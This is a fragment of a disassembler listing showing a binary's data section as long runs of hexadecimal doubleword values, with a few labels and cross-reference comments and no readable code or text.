dd 0E27AD8Fh, 47ED76C8h, 0D0446600h, 0B118D67Ah, 0E3188A81h
dd 5FF01EE7h, 9DCF805Ch, 0A4CB80ACh, 2E720300h, 121FEEC9h
dd 43F03BC6h, 5D86AE80h, 3FB3CBA3h, 0B4F81001h, 90BCFDA1h
dd 7CFBC4h, 402DC05h, 0DF49C5BDh, 0CDA0A500h, 0A3FBAACh
dd 26B80065h, 42D0EDD2h, 7F300FB6h, 3A0310E9h, 1DA01EFDh
dd 5F80BF59h, 23814B04h, 741C276Fh, 9447C6DCh, 4CB075B1h
dd 7FAC1AA5h, 39920244h, 0E53ED11h, 6D22E583h, 788C0C0h
dd 20059A00h, 8F3877ADh, 57BA0064h, 0F8EC3114h, 8000A6C4h
dd 180BF6FBh, 0C6613Eh, 0F32EB73Dh, 5F59012Ch, 3C8C6700h
dd 18E4C231h, 2A020075h, 2380F13Dh, 4D3B4321h, 6850806Bh
dd 402B4796h, 0F0F50022h, 0B77EF49Dh, 6B00ABE4h, 849E0891h
dd 249F20h, 9AF85B52h, 0BD67EF83h, 0B0AD7B39h, 6F173445h
dd 6BA7D0Ch, 28853414h, 983E1070h, 1DF8014Fh, 10CCCDA9h
dd 11819E8h, 0CBE920FFh, 3B0EFDF5h, 85140480h, 974D3EADh
dd 83F1B180h, 0B763ACE6h, 27502A00h, 1F777519h, 3E440035h
dd 3F5C8851h, 240ED054h, 0FED1FD9Bh, 6DC38FC0h, 78CE352Dh
dd 716600B0h, 24EE1423h, 30F1FCDCh, 2E588ACBh, 80D00094h
dd 0BF9F751Ch, 4373BBh, 0C012CBE3h, 6D1D085Bh, 722A4B00h
dd 48302377h, 26C80061h, 9FBC15F5h, 33749618h, 8D273Bh
dd 44CC7990h, 3729720h, 618C8906h, 0AE905E21h, 25001A4Fh
dd 6FF4E0C5h, 1EE3031h, 272FB9F8h, 7167AFC9h, 0EDE9D0D5h
dd 0FC008E76h, 0FD5CFEC3h, 0E2D156Dh, 9238EFBEh, 0E4A3A8C0h
dd 0B707092Eh, 0ED432936h, 0C9A47950h, 259E0018h, 68BA21FCh
dd 0D700DAA5h, 7E0706B2h, 0BEF03Bh, 0CB4318E2h, 854D0DCDh
dd 80667738h, 45231FF8h, 0F47728Dh, 2C86E9Eh, 3F1ADC00h
dd 2E003ACEh, 0FCFFE673h, 0EA4E86AFh, 21F79AEh, 383F08E5h
dd 78E0EF6Dh, 50083C0h, 19A553D4h, 0EBF062h, 87B51C18h
dd 0D822E99Dh, 4B520D07h, 0F370A3EEh, 916B6DFFh, 76130894h
dd 0E3118F80h, 0BA16B5h, 0F94ACF5Dh, 36CD2E05h, 2203CA7Ah
dd 46FE26E6h, 578190D9h, 19E0FCFCh, 9E2EC733h, 3577D843h
dd 0A5041400h, 2C632613h
dword_52F848 dd 0C5A200A3h, 404E0F5Dh, 4226342Eh, 0FA00F199h, 841AFE21h
dd 18E33D1Dh, 773C0902h, 0C58059EAh, 4E36BC6Ah, 3E8B3402h
dd 0C0170BC9h, 0E2B237h, 234481C3h, 0F7E9AC8Dh, 0E8B35E00h
dd 0A416A8EEh, 49970065h, 5A3C8A98h, 9400AFE6h, 73C86791h
dd 1490DAh, 66DD8D60h, 0E10ED9EBh, 38845800h, 5FE51C07h
dd 436B3B1Bh, 2F7D1900h, 0E4D3EDF8h, 0AF12270Bh, 58E607B1h
dd 3AB77520h, 7B93DEEh, 0CC1B3380h, 0E68C8A16h, 9F0024F4h
dd 0A16B19F4h, 7343914h, 3AF87517h, 91FF70C8h, 2E00366Ah
dd 2A3D651Ah, 36B17C2h, 0B08697Dh, 2BB87328h, 7019438h
dd 0C32D0AD3h, 7E60FFE8h, 1710781Dh, 79A05D5h, 21A36796h
dd 0C896D9CAh, 25B849A7h, 4DD09F0Fh, 7364006Fh, 0B586A267h
dd 0FB22C860h, 0B2136C00h, 0D8CE050Eh, 0E04707D9h, 20A0C91Bh
dd 33F2C582h, 3F6F0100h, 846C43BCh, 72BD1F5Eh, 9256C07Fh
dd 0AA0D46DBh, 0FF9183Ch, 201C3B9Ah, 0FC979F27h, 649117F5h
dd 201700DBh, 54FF93DEh, 422E3400h, 83C86FEDh, 68F00CCh
dd 0D1BD2AE6h, 35EEAD01h, 809D843Dh, 8CD23DF0h, 73A32F82h
dd 91043A07h, 15EA85Bh, 0B5B387B6h, 0EFC6FF9h, 7B863BCFh
dd 429E0078h, 4437BF77h, 5890A575h, 43FD0801h, 9FA2A648h
dd 2A0B4C0h, 0FBE1AA14h, 41DEE9h, 0EB8F7043h, 21696700h
dd 754A97A8h, 6290014Fh, 0E78D0AD9h, 298FCCDEh, 18D7CA00h
dd 6E6B0DA7h, 0F08FE64h, 0AD5CC976h, 3A356F02h, 0BBE2DCA1h
dd 7C68F063h, 0A0F4FF00h, 10E6D40Bh, 2EF700DBh, 90F5A595h
dd 397872A2h, 8091143Eh, 0A452B4A0h, 7AA6605h, 48682CE4h
dd 7FD53065h, 810045C1h, 124C3FF4h, 4CEED0B9h, 0C0146D3h
dd 73F1025Fh, 8A697090h, 1A3D2B7Fh, 2CCCC6h, 0F959432Ch
dd 78E80CBDh, 31D600ABh, 5CEF1561h, 0ED1E6BB9h, 0E601FF12h
dd 0CD0568DDh, 3F82C4h, 90B9D3FDh, 50830A99h, 942A6100h
dd 0CF83E60h, 328C00D8h, 0BD3DDC5Ah, 0FF9009E3h, 7A82148h
dd 5937230Ah, 83DFCF80h, 77F700FFh, 4CD1D53h, 0E03730Bh
dd 529DFAA0h, 0D811A049h, 0F2BB0069h, 0B4A325CDh, 7CF83DC0h
dd 0A45D520Eh, 0AFD78006h, 0C757ACh, 737BCA3Eh, 46A6B835h
dd 0B7060924h, 58CB803Ah, 0BED1C03Dh, 43710392h, 8AB345CFh
dd 91E354D0h, 5B073BE4h, 388535A3h, 0EB3946C0h, 0E8D40099h
dd 844E4C33h, 4906E71Fh, 89A788E3h, 0D70F220h, 0FCC66C8Ah
dd 0F69AE871h, 0BEF81D00h, 0CF706877h, 9E9F07CDh, 0C01CFB10h
dd 0AF7B2BC0h, 94293F00h, 0E6310419h, 8D8F072Eh, 40573DBAh
dd 0F8263E0Fh, 1745183Ah, 0EFE5C24h, 50C0289Dh, 0CA15682Ah
dd 19EAA900h, 2549E7Fh, 0E94EE71h, 33C2BA31h, 8A00BF17h
dd 6E6A979Bh, 74ACA0D5h, 0A6B700C9h, 0F00D8FFCh, 9200FF67h
dd 129D4A61h, 0D5C70Ah, 8803618h, 0BB037A94h, 0F1E81BE8h
dd 85C2EB00h, 0DC6B2DEh, 72E0733h, 30D45AD2h, 9E35FC02h
dd 7A45B400h, 0E75B79D5h, 0D7543D0Bh, 0EEABD00h, 0DE5A9962h
dd 0D5A16000h, 5C9D5EFBh, 0C3A00237h, 0CD96BA61h, 30D6C987h
dd 3507710Ch, 41436702h, 60D59F2Ch, 42B0DFh, 0F5AAB5D8h
dd 623F7A3Dh, 81C9F139h, 975EC14Fh, 7FF5BB1Dh, 4C704760h
dd 0FF000144h, 5471046Bh, 40003952h, 558BC14Ch, 0CD133Ch
dd 15ED6D93h, 68E5E190h, 0EE723Dh, 0C59B3F84h, 902ABA79h
dd 0A7FF00C2h, 0CBAD71A8h, 8D009851h, 9363CEC4h, 0AAC3B96h
dd 6C13F417h, 0A0EE00DEh, 0BB66D0D3h, 69E43107h, 968056FCh
dd 310BAD59h, 6B020D49h, 0DEE0F89Dh, 32FC6300h, 7E8805AAh
dd 4EBF0089h, 8AA32E13h, 0B100A0C4h, 941204D2h, 0B6F729h
dd 3AB207F4h, 0FCAF0EB9h, 62E6FE07h, 0F5C06A51h, 11DE156h
dd 90FF495h, 0C6865F24h, 66890CC0h, 0C9925C00h, 0BD470D40h
dd 0A3E0063h, 0E28A6101h, 0B10091B4h, 584C3A08h, 0DE767Bh
dd 8F5044C6h, 974437Eh, 86A61000h, 0C2D4733Bh, 5FE7FBFh
dd 167795E4h, 0C05C09Eh, 9008E3Dh, 0FA4590B2h, 242012FBh
dd 1EA810A9h, 24F44094h, 6FF5D9BCh, 77BDBA00h, 5D62B59h
dd 546D0097h, 73F38BE2h, 0C900F6C8h, 7BA4AD74h, 914E955h
dd 33375B6Ah, 0F2F15501h, 97B3FC3Fh, 0CD508C18h, 0B95421h
dd 139674D5h, 0FAD65FC9h, 6F689807h, 0C6B04A69h, 0E7E636h
dd 8CC7798Dh, 78ABEA64h, 0C276E50Eh, 901460D7h, 1F638904h
dd 0C02F2C7Ch, 72AC6DD2h, 0C31C02B0h, 0FF43CF1Bh, 0E57E98h
dd 0D3B7E16Ah, 325D35BEh, 79A1F100h, 59F4AD1Eh, 40621E6Eh
dd 0AC9AC323h, 0CFF8BB18h, 711D6B97h, 24AEE563h, 8E272F00h
dd 0E4F5DA6h, 0E0D61D32h, 0C858E320h, 0FA00553Bh, 52D08FE7h
dd 0FABA0F1h, 78409D2Eh, 0B20185EFh, 0E2DE90D8h, 0AF953C60h
dd 0D1FDFA0Fh, 8C31407Bh, 7F18A767h, 6801DA6h, 138E0ED0h
dd 38D93A80h, 0FC16360Ah, 0C801B6F8h, 21B9EBA0h, 10F5E0h
dd 40D1345Ah, 366B3DC1h, 984BF02Eh, 0C4EC7400h, 9150F90h
dd 32C79E25h, 674E0C87h, 0D68B301Ah, 0CA005C83h, 0CF5326D3h
dd 30952F5h, 0DCF7C9A2h, 10FE132Ah, 0C27C3D07h, 9210A587h
dd 62C6A1h, 79AD29B9h, 2649A807h, 0FAD1CE00h, 52CB5D8Dh
dd 0F269000Dh, 1485270Ch, 0D21F5F9Dh, 0F6C0A7DCh, 0AB28DA5Ch
dd 0A38E01B5h, 0EB7FE2A5h, 965F03Ah, 0E9E66D28h, 3F470100h
dd 913BB0A0h, 818801BCh, 1E749D9Ah, 0C148C4E2h, 0CB6C4217h
dd 314F3000h, 600CEEh, 65E4213Dh, 0B759DDF8h, 2C93D503h
dd 0D0C02B86h, 29A71Eh, 0FBA37CE5h, 49BF9DA8h, 96223A03h
dd 0A8BB2736h, 0EF1C34h, 74194A50h, 0F4068552h, 0B703CBE6h
dd 9B5A0B88h, 71E59815h, 0F1B00E74h, 18404B0Ch, 96782866h
dd 3E2C24F2h, 2000387Ch, 170B86D6h, 2490FCh, 3F2D0E14h
dd 0EA54D993h, 91B61500h, 2507C1FFh, 40A5009Ch, 6F70AB2Bh
dd 58E66ADFh, 77FBF200h, 71866E84h, 5DF630h, 33A4E689h
dd 37CF24A5h, 0C0DAD22Ah, 87084C48h, 60CFAEE0h, 858312F3h
dd 0CA1116F6h, 0A540001Ah, 0CF322F61h, 0FDF8241Ch, 0A8008464h
dd 63460937h, 0C9E900E8h, 0F82BEA9Ch, 1017EA6h, 4138176h
dd 0D7F053BAh, 0AC5100C6h, 0CDC8313Bh, 610334DFh, 5BCBC5EBh
dd 8CF8D885h, 1220004Ah, 30E2DF4h, 0D500E8B3h, 0A5FAEEB1h
dd 7F5FDE8Ah, 913600A3h, 2A2C4601h, 76002F3Dh, 0B3CF8419h
dd 434B75h, 5C4793AAh, 0F1019631h, 5F688D16h, 5676E005h
dd 17628100h, 0CED614h, 7033511h, 0CD3F96F3h, 1EEFBC00h
dd 53B945D3h, 0BD411C78h, 1D835E6Dh, 0F43D42D1h, 4DE0794Ah
dd 0AA00A530h, 0E0B6EA27h, 5BAB77h, 264749F9h, 0B14B2BFh
dd 390ECF00h, 2B229794h, 455A1312h, 0C5E000A1h, 0C8529A46h
dd 0B3145C2Eh, 8AD90E00h, 72EEBFE8h, 0C1190008h, 0E078941Fh
dd 1005645h, 0BF181CB7h, 76A6ACCEh, 575C0h, 82E1BE48h
dd 9DECEE65h, 0E3B38F02h, 0E34CD97Ah, 6007C807h, 9C590045h
dd 0EBAAC266h, 0E0007DA5h, 837CBBB0h, 3486D39h, 0E3AE993h
dd 5E00C0D7h, 7BB8E8C6h, 295A726h, 0AA3E850Ch, 5460B3E9h
dd 613A62CEh, 422E00EDh, 0A798E14h, 0D4F30045h, 0E8FB5D4Dh
dd 4E002FAEh, 56CCFA36h, 4F90FDh, 0C36DCB2Dh, 0C8751774h
dd 0E8C65126h, 71C7DC04h, 9CB8C280h, 0E32E00D3h, 354357FCh
dd 0A718F372h, 7CD8BFEFh, 2B141F39h, 373245F5h, 0E880EBA9h
dd 76DFE4h, 6C630B73h
dd 647A2E3h, 7C002373h, 48B865DDh
db 6Eh
byte_530055 db 0BAh, 40h, 0 ; DATA XREF: ___:off_437A24o
; ___:off_437A3Co
dd 0DBD03080h, 290279D2h, 22161300h, 36D5F8DAh, 348F0048h
dd 4774F4D3h, 1700F0EBh, 0CF399B44h, 2CE5948Eh, 1D778C83h
dd 0C8B5CB27h, 0F73AD600h, 4F3C125Dh, 0A07B0048h, 0CCC9C3F4h
dd 0E82530BDh, 0B038BCDEh, 0AB790C7Bh, 801C0138h, 0C3786855h
dd 6520F0h, 912AE5D2h, 6A922771h, 0C44D580Fh, 0F43FA09Ch
dd 0C91E87h, 812688F2h, 3301BED8h, 98DFAB00h, 966CFFA9h
dd 318EC10h, 0C863D97Dh, 0CD903997h, 0A809D713h, 75EA7A17h
dd 3DCBF500h, 11F07775h, 0F942B913h, 4E80211Eh, 0AFE4F3E3h
dd 84B0068h, 610EA4B4h, 0CF00BD3Bh, 0FB86FEA8h, 39DDDC95h
dd 83009807h, 4DACDBC6h, 0C80EF7D5h, 804C1ABFh, 0C129B1BDh
dd 2C8E1ED7h, 3DC500CDh, 0C3584A93h, 3900B6ECh, 0F01C8B8h
dd 287B745Ch, 98BC6Fh, 0D2DA92B9h, 91D46E0Bh, 0C860727Ch
dd 22BF87F8h, 0B59E001Ah, 7FEDCF93h, 0EC03CB10h, 1D691709h
dd 0A385A0D3h, 39961E88h, 15980028h, 1A37F35Fh, 21301D98h
dd 8EB86CC1h, 2E93765Ch, 0E28B59h, 8C505BB6h, 0B9009D1Ah
dd 0F5752DF6h, 0F736328h, 33B08D09h, 0B0764Ah, 5732EDC1h
dd 10065C0Eh, 592BF928h, 0A5C700D8h, 54E883D9h, 0DD00985Fh
dd 9D6BF041h, 0CDD814h, 740AC973h, 0B491DFA9h, 5E3980F7h
dd 0FE4C22D6h, 0ABC1657h, 165100A8h, 8BC07350h, 0B767EF00h
dd 0A6960DDFh, 7C591889h, 56AF089Dh, 4B88DC00h, 0AD5FF37Bh
dd 0F2C6007Eh, 7C679E1Dh, 9600623Ah, 4FA9FB71h, 3C510355h
dd 590084A3h, 0F0CF75FAh, 717D1797h, 0D826EA00h, 0B6F940E4h
dd 6567002Eh, 0E8F549B3h, 0F41E30C4h, 1B00FF23h, 7986A047h
dd 0E48A07C0h, 908F2FF5h, 88DE66F8h, 92E1FF16h, 0B8C12300h
dd 73FEE5C2h, 183C07EFh, 4E2BAB4Bh, 29A8E6C0h, 267CDA31h
dd 0C9644700h, 930D4914h, 703307CAh, 0C01D067Bh, 0DC1B4F4Ch
dd 5DDF226h, 94975603h, 808CDA16h, 2F59E6F5h, 0CB7407DEh
dd 777CBE18h, 0B8C05058h, 0F77C0FB5h, 80959B38h, 615F8EA2h
dd 7B3F2402h, 1683002Dh, 0B298211h, 5930EAD0h, 0DA102060h
dd 0EFA50063h, 79D418C3h, 0D101B49Dh, 0DF85C427h, 28806F22h
dd 1FAFFB0Fh, 0E0010B75h, 2106CF7Bh, 0C9C4B450h, 95100025h
dd 0EB67C0ACh, 3F005B0Bh, 0A2E441FCh, 0D58994h, 52BAFE3Ch
dd 49165C48h, 79B25A00h, 0A7E18C2Fh, 174E3F3Eh, 980D9A00h
dd 7E96898Eh, 63948D07h, 5C406A49h, 187AEB7h, 9D1CDE02h
dd 0E80B0805h, 4F0122D0h, 0BFF0046Fh, 0CF302B10h, 26DB01CCh
dd 9508B5C1h, 96ABD8A5h, 46CA1900h, 4D91A2C7h, 7041602Eh
dd 0EA10737Ch, 844548h, 0E550F723h, 125C60Eh, 6BA7FFC0h
dd 802C6C90h, 11C3AE31h, 3C4096A9h, 1F806E91h, 0F8FBB63Fh
dd 4D027858h, 758B5798h, 7DCD605Dh, 8D605C4Eh, 0EAD78500h
dd 533866Dh, 0C099B300h, 891711B1h, 987500CDh, 0C29746C7h
dd 1B600920h, 0F5333270h, 5ABF0039h, 970D9B86h, 0E40E5679h
dd 0A0074274h, 9C08138Eh, 336800B8h, 50F5A418h, 2A3E2B21h
dd 8729004Ch, 0A2310FF6h, 0F435383Eh, 88C69380h, 0FFAE2173h
dd 0AA830116h, 0C24FD71Eh, 48A44045h, 0E6D6EE07h, 52510096h
dd 0A0E7E2F0h, 0B47446BDh, 7D683900h, 8AD10EEBh, 70361C4Fh
dd 9C65C0BCh, 2317BD07h, 3D33DC98h, 0F3FB3255h, 0E38EB09Bh
dd 772A005Ah, 734B90B5h, 0E5EE331Bh, 8A079900h, 82539C1h
dd 9CA1055Ch, 402D1901h, 0C54FF7BCh, 4500AA77h, 0CDB069C0h
dd 9206649Bh, 0F4EE001Ch, 0ADBEC38Bh, 100A955h, 1885ABE9h
dd 1F67CB46h, 408B1A2Fh, 9B1D9F64h, 0BD2AF198h, 6D07B4D1h
dd 0B22CB490h, 33600BB0h, 9F08C9DBh, 7F941420h, 0D0F1D6E5h
dd 0D1DFB1Fh, 7C4E8740h, 0FF3CA398h, 9B34D052h, 68F0C7Bh
dd 97B92F6Bh, 3168BBE2h, 0A200E828h, 2F6A1343h, 8CC70AFBh
dd 80EC6C15h, 678D2060h, 7C0E0FDDh, 0C0A92592h, 7E73788Ch
dd 2E60063h, 4DB8BC83h, 0F6076897h, 0D565EBC8h, 729E48E0h
dd 917A0020h, 0C1C3062h, 807E0D55h, 0D117A400h, 1EFBE081h
dd 0B9720EE7h, 1580E80Eh, 0A9A49CAFh, 4CBC6B00h, 0F71D2941h
dd 4A1C58EBh, 0B9953000h, 0A0DA9B62h, 0CCCB1200h, 0C27F867Eh
dd 0ADD03D61h, 0CE56B500h, 962754D2h, 0B15AAB01h, 1D350177h
dd 37057E8h, 449FB61Ch, 39C84DE3h, 1F00FFB5h, 1D872C5Dh
dd 1E3862E7h, 4031753Ah, 0A5FE9C7Ah, 0C005FE4h, 0EA30ED72h
dd 0F5D591h, 79CEB6D8h, 83752E9Ah, 34B0C00h, 0D188A47h
dd 333007EFh, 0A3ECE523h, 18004910h, 9D4E75Ah, 0E7F709Ch
dd 41A922D1h, 4E0E6667h, 0A8F6D260h, 735CF786h, 6AF41CF2h
dd 50BBF40h, 71472145h, 16E518AAh, 36D6405Ah, 0FD18431Ah
dd 14041760h, 446186Fh, 0FAE0C3BAh, 0CE48E870h, 0FBA42E39h
dd 2620000Eh, 6F806B35h, 0E48FC200h, 0DFF86966h, 149E00A9h
dd 5B0EFAE9h, 4E7FBC9Ah, 1CABB200h, 0D20188C3h, 82470056h
dd 3AA7D3D4h, 7D00E60Fh, 0F19AB642h, 0B2FA5D1h, 7EE1681Eh
dd 0C16FD603h, 0DF42E4C0h, 0EC40C400h, 0D3FC8332h, 77230095h
dd 0BC51C2ADh, 0E800762Eh, 470095Dh, 3A86C0E4h, 2300775Ch
dd 383B6D1Eh, 717DECF4h, 0C5E0E3Ch, 11EDEAE8h, 272B00B7h
dd 4372E9DFh, 6B003844h, 46E01150h, 0F8EAB949h, 0DF613D0Eh
dd 9F5E8ACh, 2881712Fh, 97245E35h, 4200D950h, 96387572h
dd 8852632Eh, 92F1F3B0h, 28288EC0h, 0E506BF3Ch, 0D82572h
dd 2C6269BFh, 0D62407B8h, 55141707h, 1B72B398h, 0DA30A0FDh
dd 0C1721EF3h, 643CFAB0h, 73563036h, 17D420A8h, 85558D04h
dd 717CF925h, 80DFD923h, 7F548D35h, 0FF47138Ah, 55B4DC8h
dd 2116A9C0h, 0F92078E7h, 0AC983250h, 27238401h, 0C481240Dh
dd 0BFD19CE1h, 3B64E8h, 0EA6B82F4h, 9D5C8CFFh, 558E10Fh
dd 1D2DC7C1h, 8ADF37C0h, 0F81C902Ch, 7910C110h, 4829AE17h
dd 8C0E0420h, 0A8FE105Dh, 150DF806h, 0C1A6FF80h, 3C2A1E88h
dd 0B71024F4h, 0CC004371h, 46E287B5h, 88EE65C5h, 821488Ah
dd 0AD2D0424h, 0BC309DB4h, 0B869A640h, 11C22023h, 10021CC0h
dd 1D4A26BCh, 0D362D546h, 4C552016h, 0F82008CCh, 12E1443Fh
dd 7002386Fh, 96E89B8Dh, 0C4F41120h, 7580D85Eh, 615D11BAh
dd 0D8F0F1E6h, 0B08E3AE2h, 0D11A17A1h, 40A1F77h, 60200D54h
dd 0A5A044C8h, 8DE73D20h, 98600840h, 15407A53h, 60628A92h
dd 0FC25E7h, 0B98494C0h, 0DC90EBF8h, 0AF653509h, 0A1E00022h
dd 984934A6h, 0CE7A004Ch, 0D9CFFD98h, 2724DCD4h, 83002CE8h
dd 6CE49564h, 0F3AD1EEAh, 815C345Fh, 49A53210h, 5BD9FF20h
dd 9E840ABCh, 1DBA3875h, 918F9DE6h, 6FBAE1DDh, 0E569020Eh
dd 358A5BE3h, 4C698EBBh, 40C6CA2Ch, 857012F0h, 87CCDD03h
dd 0BC01DAB5h, 6FAA2120h, 8C71D5C0h, 0A0AD5712h, 582006CAh
dd 0E511A72Fh, 82F3D4BAh, 159D38D4h, 602A5E1Dh, 39CBEE0h
dd 6A10F9F4h, 0BC4E40CEh, 0A86C2669h, 8217A860h, 0A1FE1197h
dd 0DB0DF1C0h, 4098C832h, 41E8ADDCh, 0B9C22947h, 28C5DE31h
dd 0CEF64281h, 1F0AFB81h, 0CCDE5914h, 9EF4F5C7h, 7B801997h
dd 0FE786F89h, 0FAEC00C3h, 76874568h, 0A430CC3Fh, 0F4991841h
dd 2120A6A3h, 0E440D95Ah, 3B32A517h, 0CC8436D5h, 3C27FDFCh
dd 7140AE8Ah, 58380717h, 70F4813Eh, 2057714Eh, 0D388EB00h
dd 0FCAEABCFh, 1E4778EAh, 396B0E16h, 4F95E0Eh, 0C7312021h
dd 6E62C08Ah, 0C420FC56h
dd 0A801D7C2h, 9CC5F880h, 7C0E1228h, 0E0FB8EE8h, 0BB308460h
dd 83B70047h, 62CDA9F4h, 4900AF89h, 0AD879459h, 1FB407EEh
dd 189698F7h, 0DE1B10D8h, 0D28D7F00h, 0D9E6C982h, 0FA40C1ADh
dd 0A94F8C8h, 38DFCB84h, 6FCF04F8h, 78F28F61h, 8240A51Fh
dd 0C69F747Eh, 0F0631015h, 233FBEABh, 2FE48178h, 220A6F3Ch
dd 20733FD6h, 8708F3D8h, 0F2624501h, 605BB089h, 3A738879h
dd 0DA474600h, 0FA4475ADh, 5CF100E1h, 0A343B34Dh, 943D5FF2h
dd 0F7FF06CEh, 184CC9h, 0DD0DCB71h, 6AB9270h, 0C4CCD500h
dd 3E381C37h, 418F6002h, 0DA2CF22Fh, 0A48B0A11h, 6428F1h
dd 0E4395Fh, 8C43B1C1h, 9814EC9h, 0D0A23Dh, 71564796h
dd 0B08F6705h, 0B3953017h, 272F31D8h, 80C84C61h, 0B2E0CD5Bh
dd 54ACE4B9h, 2B32003h, 1D508256h, 983E2B1Bh, 1D20853Dh
dd 0A4A744D4h, 41EA7C69h, 0F8CEC4BBh, 88CA40h, 0CCD6B45Ch
dd 926F6DF7h, 9A0E9F00h, 8DEDAE40h, 7CE5B089h, 3EC4A082h
dd 43A10761h, 8E7D3827h, 2B3EA2EFh, 62800120h, 1F279145h
dd 74E08521h, 858DDC2Eh, 1C9B4D42h, 0F8D17604h, 0E97C5D41h
dd 7B809A42h, 72782CEBh, 888F917Fh, 0CE709B55h, 9D172157h
dd 10B3151h, 2FDDEB21h, 605E2E60h, 209EB914h, 0A0989DA3h
dd 958F275Ah, 0E9CE40DDh, 850A74C1h, 0A58A0A17h, 0E57578C0h
dd 4081692Bh, 0C02C01C5h, 0B6EB0E8Ah, 0A8F0C989h, 0B39E233Ch
dd 0AC0E7380h, 0AF96C78Fh, 9DED0840h, 0D400253h, 5FEBA4D8h
dd 0C209433Eh, 951F80EBh, 20F595C0h, 3CDF8BCEh, 5D185888h
dd 919E51F8h, 1C1FC140h, 0C5C04AF5h, 60289C65h, 45C408A3h
dd 0C1F89A9Eh, 3F20A59Bh, 0ECA46C84h, 85AD7C5Ch, 910A80A0h
dd 60A04068h, 202C95F3h, 0B07C0817h, 59F95D0Bh, 32550A0Fh
dd 6056E0FDh, 4B324145h, 1B007430h, 8F0EAF86h, 2760BF8h
dd 17FEDA39h, 5442928Bh, 45D72C60h, 78516F60h, 8044B75Ah
dd 0F30090E2h, 8B759BF8h, 0D60980h, 74318892h, 7C5E99Ah
dd 6C7888D8h, 51AC6263h, 0E201ADB7h, 2048F4B4h, 0C6284376h
dd 7C8503Ch, 0D6DCD99Bh, 5947C171h, 0BDA6E1E8h, 3C389058h
dd 54307D3Eh, 9F919B71h, 47487660h, 6AE167Fh, 61A77908h
dd 609778D8h, 0C158ABDh, 320F153h, 0DEF6CE68h, 0F38B7613h
dd 1A7707AAh, 6DE780E4h, 4A00DA7Eh, 4902AC22h, 0FCBA47A7h
dd 80E6511Fh, 1DF61860h, 0C0599F8Dh, 8EAF888Ch, 0B0A0F71Eh
dd 0E8C086B0h, 9375C58Bh, 4838677Bh, 80CB65D7h, 0DAF1670h
dd 0A150C8A4h, 6416698Ch, 9413AC98h, 91498C06h, 29840268h
dd 1CA0D77Dh, 1824E483h, 48B2C3E0h, 4B508A00h, 6A1F973Fh
dd 3CB00EAh, 56AF9A69h, 0CE618DDFh, 0DA319B80h, 2D5FF050h
dd 1E03005Dh, 4B2E84EEh, 34019F12h, 4CC13533h, 0B0C10B8Fh
dd 1E278EE0h, 40EDABAFh, 9C1BD89Bh, 360232D6h, 87A9CE5Bh
dd 0E3A4AF22h, 0FB24D39h, 7EC66D60h, 0F70AD8D4h, 3C0D0CAh
dd 18DAE188h, 0ABA2ADA8h, 10C815Ch, 3DE8D2E9h, 0D07079A7h
dd 31F0D993h, 3A6870AFh, 0A088D951h, 0C4B0A810h, 18018CD6h
dd 0F6CAEA75h, 59343181h, 20B47EAFh, 0FE00A35Ch, 0B2F7DE87h
dd 49321343h, 0C031C4Ah, 0A96851FBh, 2CC75000h, 0ADD9F859h
dd 1679C00Ah, 3839DB78h, 0E175B4B8h, 0B9054824h, 507ABB05h
dd 0DE81A82Eh, 83FA860Ah, 0D32C9FE0h, 0F5800592h, 0D09D5BFFh
dd 0E0F38E84h, 0C276FCA0h, 0FC6BCB12h, 0C0D5740Ch, 5DE80088h
dd 78C85BD7h, 0E10059C2h, 50D19A1Fh, 0A0090421h, 6EF9AF80h
dd 0C0DD31A7h, 9B6636FEh, 4E37CBF7h, 7AD01873h, 40075A81h
dd 0E688528Fh, 0C08D54D2h, 2E0A016h, 9A2937F7h, 6E3771B8h
dd 0FC3E838Ch, 6A1283h, 98EC15A1h, 0CF36106Bh, 0C8485DE2h
dd 21BF37D4h, 0D58B7A50h, 16790CAFh, 55A00B0Ah, 0D15DBC00h
dd 14FB41DEh, 24D0926Eh, 400CA9C7h, 7DB2C4F5h, 4570AAh
dd 3E109E00h, 6ED8FFh, 0DA52A52Fh, 0F372CAADh, 264EDE48h
dd 66007CA7h, 9BBBB284h, 974F03F4h, 747571EDh, 14586800h
dd 4150768Ah, 740648DFh, 7CC84B28h, 16D54042h, 4A7CC774h
dd 7375E318h, 50F3BB80h, 969F4C2h, 3776D99Ch, 83182411h
dd 0EECCF079h, 84CB9FBh, 0B0D6E083h, 38249A3Ah, 4BE045Eh
dd 0AED7E19Ch, 9BC13487h, 0B422E4D5h, 0A93D1200h, 8C6C47CDh
dd 5003149Ah, 85FD2FCEh, 0E85AC388h, 50B558F4h, 9C8033h
dd 0E95E4EC6h, 75D1BFCFh, 7E6A1400h, 14297DEh, 0E2680676h
dd 0F1203989h, 2C3A7090h, 72D041DDh, 58B34893h, 48C6985h
dd 21FECB0Ch, 0AB0892D5h, 0E9C16722h, 0DFFF3183h, 99CBFD9Bh
dd 91498FBFh, 35D17883h, 18A2A80Ah, 9C1F8C4Ah, 5573A340h
dd 9005AB39h, 0E8222CE4h, 0BCF0240Ch, 5B041CC9h, 83F18D2Fh
dd 66E190E4h, 2D0C41A9h, 7C1413E6h, 5077EE59h, 14F7B82Bh
dd 0CC9FFFF6h, 88467C50h, 68253932h, 7B089CDh, 0C1CC7FF4h
dd 40851207h, 0D5801F09h, 0CAC6243Ah, 5F1E6153h, 61956A39h
dd 0D35908A8h, 0D70A8392h, 60E57FDCh, 3DDF7930h, 1BAD8F1Bh
dd 166AB049h, 0D6E22932h, 0A198880h, 8CD05A44h, 90CB71E6h
dd 0C2B487Ch, 7E50787Bh, 4844908Ch, 0C9399889h, 7348D9B3h
dd 0F8E78822h, 68409B1h, 24C3DE5Ah, 48C0F698h, 3E39C0CEh
dd 0A513106Eh, 5D2FF007h, 0ADDD2820h, 0F6DC1C5Ch, 0AF67C7B8h
dd 57DAD383h, 491F39C0h, 3DC9A600h, 0CCACB7CAh, 0E34D00F6h
dd 4C477043h, 0B6011C71h, 5874FE26h, 44F82F07h, 17EC0731h
dd 3D1147h, 37DF87A6h, 226BC3Ch, 0B8DC0A36h, 873C90DBh
dd 8854257h, 624AB949h, 4B18D06Ch, 24218C49h, 36F388E7h
dd 0B7CFF581h, 1902BD52h, 5D881881h, 0B7C9001Ah, 5CD1337Eh
dd 37F8C720h, 22527370h, 2FE81530h, 225A3F18h, 9B90623h
dd 80166BACh, 0F3A38301h, 4FCDB858h, 21489C58h, 423CE8B6h
dd 0EB73BB00h, 7CB935F1h, 61AC5105h, 0F8145508h, 541A0347h
dd 0C0BE7F80h, 14117A9h, 0C1BA1B49h, 0E0C56951h, 920F9CA0h
